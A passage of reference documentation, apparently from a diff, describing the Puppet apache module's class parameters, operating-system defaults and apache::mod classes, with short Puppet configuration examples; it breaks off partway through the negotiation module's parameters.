`keepalive` + +Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive. If you set this to 'On', use the [`keepalive_timeout`][] and [`max_keepalive_requests`][] parameters to set relevant options. + +Values: 'Off', 'On'. + +Default: 'Off'. + +##### `keepalive_timeout` + +Sets the [`KeepAliveTimeout`] directive, which determines the amount of time the Apache server waits for subsequent requests on a persistent HTTP connection. This parameter is only relevant if the [`keepalive` parameter][] is enabled. + +Default: '15'. + +##### `max_keepalive_requests` + +Limits the number of requests allowed per connection when the [`keepalive` parameter][] is enabled. + +Default: '100'. + +##### `lib_path` + +Specifies the location where [Apache module][Apache modules] files are stored. Default: Depends on operating system. + +- **Debian** and **Gentoo**: `/usr/lib/apache2/modules` +- **FreeBSD**: `/usr/local/libexec/apache24` +- **Red Hat**: `modules` + +> **Note**: Do not configure this parameter manually without special reason. + +##### `log_level` + +Changes the error log's verbosity. Values: 'alert', 'crit', 'debug', 'emerg', 'error', 'info', 'notice', 'warn'. + +Default: 'warn'. + +##### `log_formats` + +Define additional [`LogFormat`][] directives. Values: A [hash][], such as: + +``` puppet +$log_formats = { vhost_common => '%v %h %l %u %t \"%r\" %>s %b' } +``` + +There are a number of predefined `LogFormats` in the `httpd.conf` that Puppet creates: + +``` httpd +LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined +LogFormat "%h %l %u %t \"%r\" %>s %b" common +LogFormat "%{Referer}i -> %U" referer +LogFormat "%{User-agent}i" agent +LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %s %b \"%{Referer}i\" \"%{User-agent}i\"" forwarded +``` + +If your `log_formats` parameter contains one of those, it will be overwritten with **your** definition. + +##### `logroot` + +Changes the directory of Apache log files for the virtual host. + +Default: Depends on operating system. + +- **Debian**: `/var/log/apache2` +- **FreeBSD**: `/var/log/apache22` +- **Gentoo**: `/var/log/apache2` +- **Red Hat**: `/var/log/httpd` + +##### `logroot_mode` + +Overrides the default [`logroot`][] directory's mode. + +> **Note**: Do _not_ grant write access to the directory where the logs are stored without being aware of the consequences. See the [Apache documentation][Log security] for details. + +Default: `undef`. + +##### `manage_group` + +When `false`, stops Puppet from creating the group resource. + +If you have a group created from another Puppet module that you want to use to run Apache, set this to `false`. Without this parameter, attempting to use a previously established group results in a duplicate resource error. + +Boolean. Default: `true`. + +##### `supplementary_groups` + +A list of groups to which the user belongs. These groups are in addition to the primary group. Default: No additional groups. + +Notice: This option only has an effect when `manage_user` is set to true. + +##### `manage_user` + +When `false`, stops Puppet from creating the user resource. + +This is for instances when you have a user, created from another Puppet module, you want to use to run Apache. Without this parameter, attempting to use a previously established user would result in a duplicate resource error. + +Boolean. Default: `true`. + +##### `mod_dir` + +Sets where Puppet places configuration files for your [Apache modules][]. + +Default: Depends on operating system. + +- **Debian**: `/etc/apache2/mods-available` +- **FreeBSD**: `/usr/local/etc/apache22/Modules` +- **Gentoo**: `/etc/apache2/modules.d` +- **Red Hat**: `/etc/httpd/conf.d` + +##### `mod_packages` + +Allows the user to override default module package names. + +```puppet +include apache::params +class { 'apache': + mod_packages => merge($::apache::params::mod_packages, { + 'auth_kerb' => 'httpd24-mod_auth_kerb', + }) +} +``` + +Hash. Default: `$apache::params::mod_packages` + +##### `mpm_module` + +Determines which [multi-processing module][] (MPM) is loaded and configured for the HTTPD process. Values: 'event', 'itk', 'peruser', 'prefork', 'worker', or `false`. + +You must set this to `false` to explicitly declare the following classes with custom parameters: + +- [`apache::mod::event`][] +- [`apache::mod::itk`][] +- [`apache::mod::peruser`][] +- [`apache::mod::prefork`][] +- [`apache::mod::worker`][] + +Default: Depends on operating system. + +- **Debian**: 'worker' +- **FreeBSD, Gentoo, and Red Hat**: 'prefork' + +##### `package_ensure` + +Controls the `package` resource's [`ensure`][] attribute. Values: 'absent', 'installed' (or equivalent 'present'), or a version string. + +Default: 'installed'. + +##### `pidfile` + +Allows settting a custom location for the pid file. Useful if using a custom-built Apache rpm. + +Default: Depends on operating system. + +- **Debian:** '\${APACHE_PID_FILE}' +- **FreeBSD:** '/var/run/httpd.pid' +- **Red Hat:** 'run/httpd.pid' + +##### `ports_file` + +Sets the path to the file containing Apache ports configuration. + +Default: '{$conf_dir}/ports.conf'. + +##### `purge_configs` + +Removes all other Apache configs and virtual hosts. + +Setting this to `false` is a stopgap measure to allow the apache module to coexist with existing or unmanaged configurations. We recommend moving your configuration to resources within this module. For virtual host configurations, see [`purge_vhost_dir`][]. + +Boolean. Default: `true`. + +##### `purge_vhost_dir` + +If the [`vhost_dir`][] parameter's value differs from the [`confd_dir`][] parameter's, this parameter determines whether Puppet removes any configurations inside `vhost_dir` that are _not_ managed by Puppet. + +Setting `purge_vhost_dir` to `false` is a stopgap measure to allow the apache module to coexist with existing or otherwise unmanaged configurations within `vhost_dir`. + +Boolean. Default: same as [`purge_configs`][]. + +##### `rewrite_lock` + +Allows setting a custom location for a rewrite lock - considered best practice if using a RewriteMap of type prg in the [`rewrites`][] parameter of your virtual host. This parameter only applies to Apache version 2.2 or lower and is ignored on newer versions. + +Default: `undef`. + +##### `sendfile` + +Forces Apache to use the Linux kernel's `sendfile` support to serve static files, via the [`EnableSendfile`][] directive. Values: 'On', 'Off'. + +Default: 'On'. + +##### `serveradmin` + +Sets the Apache server administrator's contact information via Apache's [`ServerAdmin`][] directive. + +Default: 'root@localhost'. + +##### `servername` + +Sets the Apache server name via Apache's [`ServerName`][] directive. + +Setting to `false` will not set ServerName at all. + +Default: the 'fqdn' fact reported by [Facter][]. + +##### `server_root` + +Sets the Apache server's root directory via Apache's [`ServerRoot`][] directive. + +Default: Depends on operating system. + +- **Debian**: `/etc/apache2` +- **FreeBSD**: `/usr/local` +- **Gentoo**: `/var/www` +- **Red Hat**: `/etc/httpd` + +##### `server_signature` + +Configures a trailing footer line to display at the bottom of server-generated documents, such as error documents and output of certain [Apache modules][], via Apache's [`ServerSignature`][] directive. Values: 'Off', 'On'. + +Default: 'On'. + +##### `server_tokens` + +Controls how much information Apache sends to the browser about itself and the operating system, via Apache's [`ServerTokens`][] directive. + +Default: 'OS'. + +##### `service_enable` + +Determines whether Puppet enables the Apache HTTPD service when the system is booted. + +Boolean. Default: `true`. + +##### `service_ensure` + +Determines whether Puppet should make sure the service is running. Values: `true` (or 'running'), `false` (or 'stopped'). + +The `false` or 'stopped' values set the 'httpd' service resource's `ensure` parameter to `false`, which is useful when you want to let the service be managed by another application, such as Pacemaker. + +Default: 'running'. + +##### `service_name` + +Sets the name of the Apache service. + +Default: Depends on operating system. + +- **Debian and Gentoo**: 'apache2' +- **FreeBSD**: 'apache22' +- **Red Hat**: 'httpd' + +##### `service_manage` + +Determines whether Puppet manages the HTTPD service's state. + +Boolean. Default: `true`. + +##### `service_restart` + +Determines whether Puppet should use a specific command to restart the HTTPD service. + +Values: a command to restart the Apache service. The default setting uses the [default Puppet behavior][Service attribute restart]. + +Default: `undef`. + +##### `ssl_ca` + +Specifies the SSL certificate authority. [SSLCACertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcacertificatefile). Default: undef. It is possible to override this on a vhost level. + + + + + + + + + + + + + + +##### `timeout` + +Sets Apache's [`TimeOut`][] directive, which defines the number of seconds Apache waits for certain events before failing a request. + +Default: 120. + +##### `trace_enable` + +Controls how Apache handles `TRACE` requests (per [RFC 2616][]) via the [`TraceEnable`][] directive. + +Values: 'Off', 'On'. + +Default: 'On'. + +##### `use_systemd` + +Controls whether the systemd module should be installed on Centos 7 servers, this is especially useful if using custom-built RPMs. + +Boolean. Default: `true`. + +##### `file_mode` + +Sets the desired permissions mode for config files. + +Values: A string, with permissions mode in symbolic or numeric notation. + +Default: '0644'. + +##### `root_directory_options` + +Array of the desired options for the / directory in httpd.conf. Defaults to 'FollowSymLinks'. + +##### `root_directory_secured` + +Sets the default access policy for the / directory in httpd.conf. A value of `false` allows access to all resources that are missing a more specific access policy. A value of `true` denies access to all resources by default. If `true`, more specific rules must be used to allow access to these resources (for example, in a directory block using the [`directories`](#parameter-directories-for-apachevhost) parameter). + +Boolean. Default: `false`. + +##### `vhost_dir` + +Changes your virtual host configuration files' location. + +Default: Depends on operating system: + +- **Debian**: `/etc/apache2/sites-available` +- **FreeBSD**: `/usr/local/etc/apache22/Vhosts` +- **Gentoo**: `/etc/apache2/vhosts.d` +- **Red Hat**: `/etc/httpd/conf.d` + +##### `vhost_include_pattern` + +Defines the pattern for files included from the `vhost_dir`. + +If set to a value like `[^.#]\*.conf[^~]` to make sure that files accidentally created in this directory (such as files created by version control systems or editor backups) are *not* included in your server configuration. + +Default: '*', also for BC with previous versions of this module. TODO: what does "also for BC" mean? + +Some operating systems use a value of `*.conf`. By default, this module creates configuration files ending in `.conf`. + +##### `user` + +Changes the user that Apache uses to answer requests. Apache's parent process continues to run as root, but child processes access resources as the user defined by this parameter. To prevent Puppet from managing the user, set the [`manage_user`][] parameter to `false`. + +Default: Depends on the user set by [`apache::params`][] class, based on your operating system: + +- **Debian**: 'www-data' +- **FreeBSD**: 'www' +- **Gentoo** and **Red Hat**: 'apache' + +To prevent Puppet from managing the user, set the [`manage_user`][] parameter to false. + +##### `apache_name` + +The name of the Apache package to install. If you are using a non-standard Apache package, such as those from Red Hat's software collections, you might need to override the default setting. + +Default: Depends on the user set by [`apache::params`][] class, based on your operating system: + +- **Debian**: 'apache2' +- **FreeBSD**: 'apache24' +- **Gentoo**: 'www-servers/apache' +- **Red Hat**: 'httpd' + +##### `error_log` + +The name of the error log file for the main server instance. If the string starts with `/`, `|`, or `syslog`: the full path is set. Otherwise, the filename is prefixed with `$logroot`. + +Default: Depends on operating system: + +- **Debian**: 'error.log' +- **FreeBSD**: 'httpd-error.log' +- **Gentoo**: 'error.log' +- **Red Hat**: 'error_log' +- **Suse**: 'error.log' + +##### `scriptalias` + +Directory to use for global script alias + +Default: Depends on operating system: + +- **Debian**: '/usr/lib/cgi-bin' +- **FreeBSD**: '/usr/local/www/apache24/cgi-bin' +- **Gentoo**: 'var/www/localhost/cgi-bin' +- **Red Hat**: '/var/www/cgi-bin' +- **Suse**: '/usr/lib/cgi-bin' + +##### `access_log_file` + +The name of the access log file for the main server instance. + +Default: Depends on operating system: + +- **Debian**: 'error.log' +- **FreeBSD**: 'httpd-access.log' +- **Gentoo**: 'access.log' +- **Red Hat**: 'access_log' +- **Suse**: 'access.log' + +#### Class: `apache::dev` + +Installs Apache development libraries. Default: Depends on the operating system:[`dev_packages`][] parameter of the [`apache::params`][] class, based on your operating system: + +- **Debian** : 'libaprutil1-dev', 'libapr1-dev'; 'apache2-dev' on Ubuntu 13.10 and Debian 8; 'apache2-prefork-dev' on other versions. +- **FreeBSD**: `undef`; on FreeBSD, you must declare the `apache::package` or `apache` classes before declaring `apache::dev`. +- **Gentoo**: `undef`. +- **Red Hat**: 'httpd-devel'. + +#### Class: `apache::vhosts` + +Creates [`apache::vhost`][] defined types. + +**Parameters**: + +* `vhosts`: Specifies the [`apache::vhost`][] defined type's parameters. + + Values: A [hash][], where the key represents the name and the value represents a [hash][] of [`apache::vhost`][] defined type's parameters. + + Default: '{}' + + > **Note**: See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters or [Configuring virtual hosts]. + + For example, to create a [name-based virtual host][name-based virtual hosts] 'custom_vhost_1, declare this class with the `vhosts` parameter set to '{ "custom_vhost_1" => { "docroot" => "/var/www/custom_vhost_1", "port" => "81" }': + +``` puppet +class { 'apache::vhosts': + vhosts => { + 'custom_vhost_1' => { + 'docroot' => '/var/www/custom_vhost_1', + 'port' => '81', + }, + }, +} +``` + +#### Classes: `apache::mod::` + +Enables specific [Apache modules][]. Enable and configure an Apache module by declaring its class. + +For example, to install and enable [`mod_alias`][] with no icons, declare the [`apache::mod::alias`][] class with the `icons_options` parameter set to 'None': + +``` puppet +class { 'apache::mod::alias': + icons_options => 'None', +} +``` + +The following Apache modules have supported classes, many of which allow for parameterized configuration. You can install other Apache modules with the [`apache::mod`][] defined type. + +* `actions` +* `alias` (see [`apache::mod::alias`][]) +* `auth_basic` +* `auth_cas`\* (see [`apache::mod::auth_cas`][]) +* `auth_mellon`\* (see [`apache::mod::auth_mellon`][]) +* `auth_kerb` +* `authn_core` +* `authn_dbd`\* (see [`apache::mod::authn_dbd`][]) +* `authn_file` +* `authnz_ldap`\* (see [`apache::mod::authnz_ldap`][]) +* `authnz_pam` +* `authz_default` +* `authz_user` +* `autoindex` +* `cache` +* `cgi` +* `cgid` +* `cluster` (see [`apache::mod::cluster`][]) +* `dav` +* `dav_fs` +* `dav_svn`\* +* `dbd` +* `deflate\` +* `dev` +* `dir`\* +* `disk_cache` (see [`apache::mod::disk_cache`][]) +* `dumpio` (see [`apache::mod::dumpio`][]) +* `env` +* `event` (see [`apache::mod::event`][]) +* `expires` +* `ext_filter` (see [`apache::mod::ext_filter`][]) +* `fastcgi` +* `fcgid` +* `filter` +* `geoip` (see [`apache::mod::geoip`][]) +* `headers` +* `include` +* `info`\* +* `intercept_form_submit` +* `itk` +* `ldap` (see [`apache::mod::ldap`][]) +* `lookup_identity` +* `mime` +* `mime_magic`\* +* `negotiation` +* `nss`\* (see [`apache::mod::nss`][]) +* `pagespeed` (see [`apache::mod::pagespeed`][]) +* `passenger`\* (see [`apache::mod::passenger`][]) +* `perl` +* `peruser` +* `php` (requires [`mpm_module`][] set to `prefork`) +* `prefork`\* +* `proxy`\* (see [`apache::mod::proxy`][]) +* `proxy_ajp` +* `proxy_balancer`\* (see [`apache::mod::proxy_balancer`][]) +* `proxy_balancer` +* `proxy_html` (see [`apache::mod::proxy_html`][]) +* `proxy_http` +* `python` +* `reqtimeout` +* `remoteip`\* +* `rewrite` +* `rpaf`\* +* `setenvif` +* `security` +* `shib`\* (see [`apache::mod::shib`]) +* `speling` +* `ssl`\* (see [`apache::mod::ssl`][]) +* `status`\* (see [`apache::mod::status`][]) +* `suphp` +* `userdir`\* +* `version` +* `vhost_alias` +* `worker`\* +* `wsgi` (see [`apache::mod::wsgi`][]) +* `xsendfile` + +Modules noted with a * indicate that the module has settings and a template that includes parameters to configure the module. Most Apache module class parameters have default values and don't require configuration. For modules with templates, Puppet installs template files with the module; these template files are required for the module to work. + +##### Class: `apache::mod::alias` + +Installs and manages [`mod_alias`][]. + +**Parameters**: + +* `icons_options`: Disables directory listings for the icons directory, via Apache [`Options`] directive. + + Default: 'Indexes MultiViews'. + +* `icons_path`: Sets the local path for an `/icons/` Alias. + + Default: Depends on operating system. + + * **Debian**: `/usr/share/apache2/icons` + * **FreeBSD**: `/usr/local/www/apache24/icons` + * **Gentoo**: `/var/www/icons` + * *Red Hat**: `/var/www/icons`, except on Apache 2.4, where it's `/usr/share/httpd/icons` + +#### Class: `apache::mod::disk_cache` + +Installs and configures [`mod_disk_cache`][] on Apache 2.2, or [`mod_cache_disk`][] on Apache 2.4. + +Default: Depends on the Apache version and operating system: + +- **Debian**: `/var/cache/apache2/mod_cache_disk` +- **FreeBSD**: `/var/cache/mod_cache_disk` +- **Red Hat, Apache 2.4**: `/var/cache/httpd/proxy` +- **Red Hat, Apache 2.2**: `/var/cache/mod_proxy` + +To specify the cache root, pass a path as a string to the `cache_root` parameter. + +``` puppet +class {'::apache::mod::disk_cache': + cache_root => '/path/to/cache', +} +``` + +##### Class: `apache::mod::diskio` + +Installs and configures [`mod_diskio`][]. + +```puppet +class{'apache': + default_mods => `false`, + log_level => 'dumpio:trace7', +} +class{'apache::mod::diskio': + disk_io_input => 'On', + disk_io_output => 'Off', +} +``` + +**Parameters**: + +* `dump_io_input`: Dump all input data to the error log. + + Values: 'On', 'Off'. + + Default: 'Off'. + +* `dump_io_output`: Dump all output data to the error log. + + Values: 'On', 'Off'. + + Defaults to 'Off'. + +##### Class: `apache::mod::event` + +Installs and manages [`mod_mpm_event`][]. You cannot include `apache::mod::event` with [`apache::mod::itk`][], [`apache::mod::peruser`][], [`apache::mod::prefork`][], or [`apache::mod::worker`][] on the same server. + +**Parameters**: + +* `listenbacklog`: Sets the maximum length of the pending connections queue via the module's [`ListenBackLog`][] directive. Setting this to `false` removes the parameter. + + Default: '511'. + +* `maxrequestworkers` (_Apache 2.3.12 or older_: `maxclients`): Sets the maximum number of connections Apache can simultaneously process, via the module's [`MaxRequestWorkers`][] directive. Setting these to `false` removes the parameters. + + Default: '150'. + +* `maxconnectionsperchild` (_Apache 2.3.8 or older_: `maxrequestsperchild`): Limits the number of connections a child server handles during its life, via the module's [`MaxConnectionsPerChild`][] directive. Setting these to `false` removes the parameters. + + Default: '0'. + +* `maxsparethreads` and `minsparethreads`: Sets the maximum and minimum number of idle threads, via the [`MaxSpareThreads`][] and [`MinSpareThreads`][] directives. Setting these to `false` removes the parameters. + + Default: '75' and '25', respectively. + +* `serverlimit`: Limits the configurable number of processes via the [`ServerLimit`][] directive. Setting this to `false` removes the parameter. + + Default: '25'. + +* `startservers`: Sets the number of child server processes created at startup, via the module's [`StartServers`][] directive. Setting this to `false` removes the parameter. + + Default: '2'. + +* `threadlimit`: Limits the number of event threads via the module's [`ThreadLimit`][] directive. Setting this to `false` removes the parameter. + + Default: '64'. + +* `threadsperchild`: Sets the number of threads created by each child process, via the [`ThreadsPerChild`][] directive. Default: '25'. Setting this to `false` removes the parameter. + +##### Class: `apache::mod::auth_cas` + +Installs and manages [`mod_auth_cas`][]. Parameters share names with the Apache module's directives. + +The `cas_login_url` and `cas_validate_url` parameters are required; several other parameters have `undef` default values. + +> **Note**: The auth_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL. See [https://github.com/Jasig/mod_auth_cas]() + +**Parameters**: + +- `cas_attribute_prefix`: Adds a header with the value of this header being the attribute values when SAML validation is enabled. + + Default: CAS_. + +- `cas_attribute_delimiter`: The delimiter between attribute values in the header created by `cas_attribute_prefix`. + + Default: , + +- `cas_authoritative`: Determines whether an optional authorization directive is authoritative and binding. + + Default: `undef`. + +- `cas_certificate_path`: Sets the path to the X509 certificate of the Certificate Authority for the server in `cas_login_url` and `cas_validate_url`. + + Default: `undef`. + +- `cas_cache_clean_interval`: Sets the minimum number of seconds that must pass between cache cleanings. + + Default: `undef`. + +- `cas_cookie_domain`: Sets the value of the `Domain=` parameter in the `Set-Cookie` HTTP header. + + Default: `undef`. + +- `cas_cookie_entropy`: Sets the number of bytes to use when creating session identifiers. + + Default: `undef`. + +- `cas_cookie_http_only`: Sets the optional `HttpOnly` flag when `mod_auth_cas` issues cookies. + + Default: `undef`. + +- `cas_cookie_path`: Where cas cookie session data is stored. Should be writable by web server user. + + Default: OS dependent. + +- `cas_cookie_path_mode`: The mode of `cas_cookie_path`. + + Default: '0750'. + +- `cas_debug`: Determines whether to enable the module's debugging mode. + + Default: 'Off'. + +- `cas_idle_timeout`: Sets the idle timeout limit, in seconds. + + Default: `undef`. + +- `cas_login_url`: **Required**. Sets the URL to which the module redirects users when they attempt to access a CAS-protected resource and don't have an active session. + +- `cas_proxy_validate_url`: The URL to use when performing a proxy validation. + + Default: `undef`. + +- `cas_root_proxied_as`: Sets the URL end users see when access to this Apache server is proxied. + + Default: `undef`. + +- `cas_scrub_request_headers`: Remove inbound request headers that may have special meaning within mod_auth_cas. + +- `cas_sso_enabled`: Enables experimental support for single sign out (may mangle POST data). + + Default: 'Off'. + +- `cas_timeout`: Limits the number of seconds a `mod_auth_cas` session can remain active. + + Default: `undef`. + +- `cas_validate_depth`: Limits the depth for chained certificate validation. + + Default: `undef`. + +- `cas_validate_saml`: Parse response from CAS server for SAML. + + Default: 'Off'. + +- `cas_validate_server`: Whether to validate the cert of the CAS server (deprecated in 1.1 - RedHat 7). + + Default: `undef`. + +- `cas_validate_url`: **Required**. Sets the URL to use when validating a client-presented ticket in an HTTP query string. + +- `cas_version`: The CAS protocol version to adhere to. Values: '1', '2'. + + Default: '2'. + +- `suppress_warning`: Suppress warning about being on RedHat (`mod_auth_cas` package is now available in epel-testing repo). + + Default: `false`. + +##### Class: `apache::mod::auth_mellon` + +Installs and manages [`mod_auth_mellon`][]. Parameters share names with the Apache module's directives. + +``` puppet +class{ 'apache::mod::auth_mellon': + mellon_cache_size => 101, +} +``` + +**Parameters**: + +* `mellon_cache_entry_size`: Maximum size for a single session. + + Default: `undef`. + +* `mellon_cache_size`: Size in megabytes of the mellon cache. + + Default: 100. + +* `mellon_lock_file`: Location of lock file. + + Default: '`/run/mod_auth_mellon/lock`'. + +* `mellon_post_directory`: Full path where post requests are saved. + + Default: '`/var/cache/apache2/mod_auth_mellon/`' + +* `mellon_post_ttl`: Time to keep post requests. + + Default: `undef`. + +* `mellon_post_size`: Maximum size of post requests. + + Default: `undef`. + +* `mellon_post_count`: Maximum number of post requests. + + Default: `undef`. + +##### Class: `apache::mod::authn_dbd` + +Installs `mod_authn_dbd` and uses `authn_dbd.conf.erb` template to generate its configuration. Optionally, creates AuthnProviderAlias. + +``` puppet +class { 'apache::mod::authn_dbd': + $authn_dbd_params => + 'host=db01 port=3306 user=apache password=xxxxxx dbname=apacheauth', + $authn_dbd_query => 'SELECT password FROM authn WHERE user = %s', + $authn_dbd_alias => 'db_auth', +} +``` + +**Parameters**: + +* `authn_dbd_alias`: Name for the 'AuthnProviderAlias'. + +* `authn_dbd_dbdriver`: Specifies the database driver to use. + + Default: 'mysql'. + +* `authn_dbd_exptime`: corresponds to DBDExptime. + + Default: 300. + +* `authn_dbd_keep`: Corresponds to DBDKeep. + + Default: 8. + +* `authn_dbd_max`: Corresponds to DBDMax. + + Default: 20. + +* `authn_dbd_min`: Corresponds to DBDMin. + + Default: 4. + +* `authn_dbd_params`: **Required**. Corresponds to DBDParams for the connection string. + +* `authn_dbd_query`: Whether to query the user and password for authentication. + +##### Class: `apache::mod::authnz_ldap` + +Installs `mod_authnz_ldap` and uses the `authnz_ldap.conf.erb` template to generate its configuration. + +**Parameters**: + +* `package_name`: The name of the package. + + Default: `undef`. + +* `verify_server_cert`: Whether to verify the server certificate. + + Default: `undef`. + +##### Class: `apache::mod::cluster` + +**Note**: There is no official package available for `mod_cluster`, so you must make it available outside of the apache module. Binaries can be found at http://mod-cluster.jboss.org/ + +``` puppet +class { '::apache::mod::cluster': + ip => '172.17.0.1', + allowed_network => '172.17.0.', + balancer_name => 'mycluster', + version => '1.3.1' +} +``` + +**Parameters**: + +* `port`: mod_cluster listen port. + + Default: '6666'. + +* `server_advertise`: Whether the server should advertise. + + Default: `true`. + +* `advertise_frequency`: Sets the interval between advertise messages in seconds[.miliseconds]. + + Default: 10. + +* `manager_allowed_network`: Whether to allow the network to access the mod_cluster_manager. + + Default: '127.0.0.1'. + +* `keep_alive_timeout`: Specifies how long Apache should wait for a request, in seconds. + + Default: 60. + +* `max_keep_alive_requests`: Maximum number of requests kept alive. + + Default: 0. + +* `enable_mcpm_receive`: Whether MCPM should be enabled. + + Default: `true`. + +* `ip`: Specifies the IP address to listen to. + +* `allowed_network`: Balanced members network. + +* `version`: Specifies the `mod_cluster` version. Version 1.3.0 or greater is required for httpd 2.4. + +##### Class: `apache::mod::deflate` + +Installs and configures [`mod_deflate`][]. + +**Parameters**: + +* `types`: An [array][] of [MIME types][MIME `content*type`] to be deflated. + + Default: [ 'text/html text/plain text/xml', 'text/css', 'application/x*javascript application/javascript application/ecmascript', 'application/rss+xml', 'application/json' ]. + +* `notes`: A [Hash][] where the key represents the type and the value represents the note name. + + Default: { 'Input' => 'instream', 'Output' => 'outstream', 'Ratio' => 'ratio' }. + +##### Class: `apache::mod::expires` + +Installs [`mod_expires`][] and uses the `expires.conf.erb` template to generate its configuration. + +**Parameters**: + +* `expires_active`: Enables generation of `Expires` headers for a document realm. + + Boolean. Default: `true`. + +* `expires_default`: Specifies the default algorithm for calculating expiration time using [`ExpiresByType`][] syntax or [interval syntax][]. + + Default: `undef`. + +* `expires_by_type`: Describes a set of [MIME `content*type`][] and their expiration times. + + Values: An [array][] of [Hashes][Hash], with each Hash's key a valid MIME `content*type` (i.e. 'text/json') and its value following valid [interval syntax][]. + + Default: `undef`. + +##### Class: `apache::mod::ext_filter` + +Installs and configures [`mod_ext_filter`][]. + +``` puppet +class { 'apache::mod::ext_filter': + ext_filter_define => { + 'slowdown' => 'mode=output cmd=/bin/cat preservescontentlength', + 'puppetdb-strip' => 'mode=output outtype=application/json cmd="pdb-resource-filter"', + }, +} +``` + +**Parameters**: + +* `ext_filter_define`: A hash of filter names and their parameters. + + Default: `undef`. + +##### Class: `apache::mod::fcgid` + +Installs and configures [`mod_fcgid`][]. + +The class does not individually parameterize all available options. Instead, configure `mod_fcgid` using the `options` [hash][]. For example: + +``` puppet +class { 'apache::mod::fcgid': + options => { + 'FcgidIPCDir' => '/var/run/fcgidsock', + 'SharememPath' => '/var/run/fcgid_shm', + 'AddHandler' => 'fcgid-script .fcgi', + }, +} +``` + +For a full list of options, see the [official `mod_fcgid` documentation][`mod_fcgid`]. + +If you include `apache::mod::fcgid`, you can set the [`FcgidWrapper`][] per directory, per virtual host. The module must be loaded first; Puppet will not automatically enable it if you set the `fcgiwrapper` parameter in `apache::vhost`. + +``` puppet +include apache::mod::fcgid + +apache::vhost { 'example.org': + docroot => '/var/www/html', + directories => { + path => '/var/www/html', + fcgiwrapper => { + command => '/usr/local/bin/fcgiwrapper', + } + }, +} +``` + +##### Class: `apache::mod::geoip` + +Installs and manages [`mod_geoip`][]. + +**Parameters**: + +* `db_file`: Sets the path to your GeoIP database file. + + Values: a path, or an [array][] paths for multiple GeoIP database files. + + Default: `/usr/share/GeoIP/GeoIP.dat`. + +* `enable`: Determines whether to globally enable [`mod_geoip`][]. + + Boolean. Default: `false`. + +* `flag`: Sets the GeoIP flag. + + Values: 'CheckCache', 'IndexCache', 'MemoryCache', 'Standard'. + + Default: 'Standard'. + +* `output`: Defines which output variables to use. + + Values: 'All', 'Env', 'Request', 'Notes'. + + Default: 'All'. + +* `enable_utf8`: Changes the output from ISO*8859*1 (Latin*1) to UTF*8. + + Boolean. Default: `undef`. + +* `scan_proxy_headers`: Enables the [GeoIPScanProxyHeaders][] option. + + Boolean. Default: `undef`. + +* `scan_proxy_header_field`: Specifies the header [`mod_geoip`][] uses to determine the client's IP address. + + Default: `undef`. + +* `use_last_xforwarededfor_ip` (sic): Determines whether to use the first or last IP address for the client's IP in a comma-separated list of IP addresses is found. + + Boolean. Default: `undef`. + +##### Class: `apache::mod::info` + +Installs and manages [`mod_info`][], which provides a comprehensive overview of the server configuration. + +**Parameters**: + +* `allow_from`: Whitelist of IPv4 or IPv6 addresses or ranges that can access `/server*info`. + + Values: One or more octets of an IPv4 address, an IPv6 address or range, or an array of either. + + Default: ['127.0.0.1','::1']. + +* `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. + + Default: The value of [`$::apache::apache_version`][`apache_version`]. + + +* `restrict_access`: Determines whether to enable access restrictions. If `false`, the `allow_from` whitelist is ignored and any IP address can access `/server*info`. + + Boolean. Default: `true`. + +##### Class: `apache::mod::passenger` + +Installs and manages [`mod_passenger`][]. For Red Hat-based systems, ensure that you meet the minimum requirements described in the [passenger docs](https://www.phusionpassenger.com/library/install/apache/install/oss/el6/#step-1:-upgrade-your-kernel,-or-disable-selinux). + +**Parameters**: + +* `passenger_high_performance`: Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance). + + Values: 'On', 'Off'. + + Default: `undef`. + +* `passenger_pool_idle_time`: Sets the [`PassengerPoolIdleTime`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerpoolidletime). + + Default: `undef`. + +* `passenger_max_pool_size`: Sets the [`PassengerMaxPoolSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxpoolsize). + + Default: `undef`. + +* `passenger_max_request_queue_size`: Sets the [`PassengerMaxRequestQueueSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequestqueuesize). + + Default: `undef`. + +* `passenger_max_requests`: Sets the [`PassengerMaxRequests`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequests). + + Default: `undef`. + +* `passenger_data_buffer_dir`: Sets the [`PassengerDataBufferDir`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerdatabufferdir). + + Default: `undef`. + +##### Class: `apache::mod::ldap` + +Installs and configures [`mod_ldap`][], and allows you to modify the +[`LDAPTrustedGlobalCert`](https://httpd.apache.org/docs/current/mod/mod_ldap.html#ldaptrustedglobalcert) Directive: + +``` puppet +class { 'apache::mod::ldap': + ldap_trusted_global_cert_file => '/etc/pki/tls/certs/ldap-trust.crt', + ldap_trusted_global_cert_type => 'CA_DER', + ldap_shared_cache_size => '500000', + ldap_cache_entries => '1024', + ldap_cache_ttl => '600', + ldap_opcache_entries => '1024', + ldap_opcache_ttl => '600', +} +``` + +**Parameters** + +* `apache_version`: Specifies the installed Apache version. + + Default: `undef`. + +* `ldap_trusted_global_cert_file`: Specifies the path and file name of the trusted CA certificates to use when establishing SSL or TLS connections to an LDAP server. + +* `ldap_trusted_global_cert_type`: Specifies the global trust certificate format. + + Default: 'CA_BASE64'. + +* `ldap_shared_cache_size`: Specifies the size, in bytes, of the shared memory cache. + +* `ldap_cache_entries`: Specifies the maximum number of entries in the primary LDAP cache. + +* `ldap_cache_ttl`: Specifies the time, in seconds, that cached items remain valid. + +* `ldap_opcache_entries`: Specifies the number of entries used to cache LDAP compare operations. + +* `ldap_opcache_ttl`: Specifies the time, in seconds, that entries in the operation cache remain valid. + +* `package_name`: Specifies the custom package name. + + Default: `undef`. + +##### Class: `apache::mod::negotiation` + +Installs and configures [`mod_negotiation`][]. + +**Parameters**: + +* `force_language_priority`: Sets the `ForceLanguagePriority` option. + + Values: A string. + + Default: `Prefer Fallback`. + +* `language_priority`: An [array][] of languages to set the `LanguagePriority` option of the module. + + Default: [ 'en', 'ca', 